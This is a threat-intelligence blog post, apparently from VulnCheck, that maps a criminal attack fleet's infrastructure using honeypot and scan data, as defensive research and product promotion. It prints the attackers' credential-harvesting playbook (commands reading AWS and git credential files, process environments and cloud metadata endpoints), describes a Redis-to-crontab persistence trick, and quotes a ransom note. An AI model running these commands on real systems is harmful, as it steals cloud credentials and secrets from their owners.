From Canary Intelligence to C2 – Mapping an Attack Fleet with Target Intelligence | Blog

This blog is intended to show cyber analysts how we can use VulnCheck’s Canary Intelligence, alongside our new product Target Intelligence, to conduct investigations into malicious infrastructure.

Target Intelligence is VulnCheck’s answer to a simple question: where is this CVE actually exposed on the internet? Target Intelligence surfaces vulnerable hosts with full context: IP, location, ASN, port, software version, and rich protocol-level scan data that tells security teams not just that something is vulnerable, but what they’re looking at.

For the past ten months, my team and I have been working on building Target Intelligence. Last week I finally had time to sit down and explore our own data – no agenda, just digging to see what was there. Here’s some of what I found.

My goal was to investigate Canary Intelligence alongside Target Intelligence. The simplest question here – what technologies are the attackers using? The follow on – pivoting from Canary Intelligence to Target Intelligence, to map out an attacker’s infrastructure.

My first dive into this fun rabbit hole was to take our Canary Intelligence data for the past 30 days, and pivot from the IPs to the X.509 certificates we were seeing on those hosts.

This led me to an interesting cluster of 27 IPs, all on the same /24 subnet, attacking CVE-2026-21859 (an SSRF vulnerability in Mailpit which is a tool used for email testing), and were the only such IPs we have seen doing so. Each had a certificate, with the common name pkNN@, with the NN increasing with respect to the Unix timestamp, clearly showing activity between Nov 2025 and April 2026.

Looking further into Target Intelligence data we collect on this attack fleet, I found they also shared the same three features:

• The same HASSH on port 22 (same SSH settings)
• The same JA4TS on port 22 (same TCP response and therefore the same OS)
• The same JARM (a TLS fingerprinting technique) on port 10250.

Individually, each of these three features is quite common worldwide. Combining them yielded only 21 IP addresses globally — 19 inside the /24. Of the two outliers, one was a false positive (an unrelated Leaseweb Kubernetes cluster sharing the same Debian image temporarily before rotating away), and the other was a Hetzner host running an earlier build of the same stack — most likely the operator’s development predecessor.

Below are the counts from 60 days of Target Intelligence data, illustrating this:

Starting from Canary hits, we used Target Intelligence to fingerprint the attack fleet — and that fingerprint surfaced two additional workers Canaries had never seen: the control plane node (which orchestrates but never scans directly) and one worker that simply hadn’t triggered a canary yet.

At this point, it felt like we could dig a little deeper and find out more about this actor. Looking at the rest of the subnet, I immediately found 25 identical Vite/React Single Page Applications (SPAs), with the HTTP title MeowProject. The corresponding HTTP body hash was globally unique.

These 25 SPAs also shared the exact same SSH host key, clearly showing co-ownership. Crucially, they all had the same HASSH (identical SSH settings) as the attack fleet.

There was more. Target Intelligence revealed port 30010 on the control plane, exposing a second operator-facing application – the Cluster Monitor. An unauthenticated /api/health endpoint returned "mongo": "connected", a string consistent with Mongoose connection health checks – hinting at a MongoDB backend somewhere.

Attempting to find this MongoDB, I found a host with port 9963 open. This port being open, alongside the other 25 SPAs having port 4240 and 4244 open, shows they are using Cilium.

Cilium is a production-grade CNI – chosen here with VXLAN as the overlay, meaning pod-to-pod traffic is encapsulated and the internal network is completely opaque from outside. Port 9963 is the cilium-operator metrics endpoint, and only one node in a cluster runs cilium-operator, confirming this host as the control plane rather than just another worker.

Further probing the control plane revealed a pool of listener ports in the 20001–20057 range. Connecting to any of them starts a seven-step session: the handler sends one shell command at a time and only advances to the next once you send back the completion marker __HP_DONE_994d0079__. I mapped the full sequence by connecting and returning the marker after each command with no real data — the handler accepted this as a completed execution every time, walking me through all seven steps without ever realising I wasn’t a real victim.

00  cat ~/.aws/credentials
01  cat ~/.aws/config
02  cat /proc/1/environ
03  cat .git/config
04  cat ~/.git-credentials
05  # IMDSv2: fetch IAM role credentials via EC2 metadata service
    curl -s 169.254.169.254/.../iam/security-credentials/$ROLE
06  # ECS/Fargate task role credentials (obfuscated via String.fromCharCode in the original)
    node -e "const u = 'http://169.254.170.2' + process.env.AWS_CONTAINER_CREDENTIALS_RELATIVE_URI; \
    require('http').get(u, r => { let d = ''; r.on('data', c => d += c); \
    r.on('end', () => { require('fs').writeFileSync('/tmp/o', d); process.exit() }) })" \
    && cat /tmp/o

The marker string is itself a useful IOC. The hex suffix rotates — we saw __HP_DONE_9de3b603__ in May and __HP_DONE_994d0079__ by June — so the durable signature is the __HP_DONE___ pattern rather than any single value. Defenders can watch for it in network captures or endpoint telemetry to identify machines that have connected to this infrastructure.

Cloud credential theft makes sense as the objective when you look at what the attack fleet was actually exploiting. In Canary Intelligence, we saw it sending exploits for six CVEs in total:

Other than the Cisco CVE, these are all developer tools that you would expect to be running on cloud VMs or containers, containing the exact cloud credentials the playbook is attempting to steal.

The operators also locked Hubble – Cilium’s network observability layer on port 4244 – with mutual TLS across all nodes, blocking any attempt to read internal traffic flows without a client certificate. The Kubernetes API server wasn’t externally reachable. The kubelet required authentication. This was a cluster that had been hardened deliberately. Or so they thought.

This is where the story gets a bit weird. There were two other IPs mixed in between all these nodes, that Target Intelligence revealed to be a restaurant SaaS, named Diony – Restaurant Management as well as their customer facing product, Soka. This company has zero presence online anywhere, which raises the question.

Does a legitimate SaaS company host their two servers right between criminal infrastructure, and have zero online visibility? I think not!

These two IPs are where I finally found my mysterious MongoDB instance, alongside a Redis server. Unfortunately for them, they had forgotten to turn on authentication for both of these.

Probing the Redis server, on port 6378, revealed Diony’s application’s session store: 15 live refresh token hashes for authenticated user sessions, sitting completely unauthenticated and internet-exposed. The tokens themselves were HttpOnly cookies and couldn’t be lifted directly from Redis, but their presence confirms 15 real users were actively logged in.

The second instance, on port 6379, told a darker story. A cryptominer had already taken up residence. The keyspace showed four keys — backup1 through backup4 — consistent with a known Redis persistence technique where crontab payloads are written as key values and flushed to disk via BGSAVE. Redis writes its RDB snapshot — binary framing, crontab line, more binary framing — to the cron directory. The daemon ignores the garbage and schedules the one line it can parse. The miner process then renamed itself kworker to blend in with legitimate Linux kernel worker threads — the same name the Linux kernel uses for internal housekeeping tasks, invisible to a casual ps aux scan.

What makes it particularly ironic: the operators had enabled kubelet authentication, locked down their Kubernetes API server, and secured Hubble with mutual TLS. They hardened their attack platform carefully. They just never turned on Redis authentication.

The MongoDB instance? It had been ransomwared. The note demanded 0.0068 BTC.

// db READ_ME_TO_RECOVER_YOUR_DATA / README
"All your data was backed up by us. You must pay 0.0068 BTC ...
 or in 48 hours your data will be publicly disclosed and deleted."

BTC:     bc1q4da6h2l6...ng8m45
portal:  tli.sh/dg5ZZ
contact: ak+125m95@onionmail.org
DATAID:  125M95

Five days later, the note had already been reissued to the same Bitcoin wallet – and the demand had climbed from 0.0068 BTC to 0.0074 BTC. But with BTC sliding from ~$73k to ~$67k over those five days, the higher demand was actually worth about 60 cents less in dollar terms than the original. Sometimes crime doesn’t pay it seems.

My working theory is that the attack fleet attempts to gain a reverse shell on victims and redirect them to the control plane. The C2 panels are used by the operators to monitor and manage the operation – receiving alerts when a new shell connects, reviewing harvested credentials, and tracking the status of the fleet.

The Cluster Monitor’s MongoDB backend and /api/alert/test route point toward a notification system, and the presence of the socket.io library in the frontend bundle confirms the UI is built to receive pushed events in real time – the operator doesn’t poll for results, they get paged the moment a victim shell lands and the 7-step credential harvesting playbook runs. In short: the attack fleet finds and exploits the victims, the control plane collects the loot, and the panels are the operators’ window into all of it.

Unfortunately, the whole subnet disappeared on 8th June, 2026. So we’ll never know. Perhaps MeowProject is rebuilding elsewhere – they were, after all, apparently unable to pay their own ransomware bill.

I have been regularly checking Target Intelligence data for more of our pkNN certificates, or the HASSH+JA4TS+JARM combo, but so far no luck.

Hopefully this shows what’s possible when you combine Canary and Target Intelligence data. I wasn’t hunting for a criminal operation. I sat down with 30 days of canary hits and a loose question about what technologies attackers were using. Target Intelligence did the rest: certificates led to a cluster, the cluster had a fingerprint, the fingerprint found workers Canaries had missed, and the subnet told the rest of the story.

The richness of the scan data – HASSH, JA4TS, JARM, certificate metadata – is what makes pivots like this possible. Any one of those signals in isolation is noise. Together, and crossed with VulnCheck Canary Intelligence data, they’re precise enough to map a criminal operation’s infrastructure from the outside.

VulnCheck’s research team tracks attacker infrastructure and exploitation activity using our Canary Intelligence and Target Intelligence datasets. Investigations like this one — where a handful of canary hits unraveled into a full map of a criminal operation’s infrastructure — are part of our ongoing effort to highlight real-world exploitation. For more research like this, check out our blogs, The Mystery OAST Host Behind a Regionally Focused Exploit Operation and The Linuxsys Cryptominer.

Sign up for the VulnCheck community today to get free access to our VulnCheck KEV, enjoy our comprehensive vulnerability data, and request a trial of our Canary Intelligence, Target Intelligence, and Exploit & Vulnerability Intelligence products.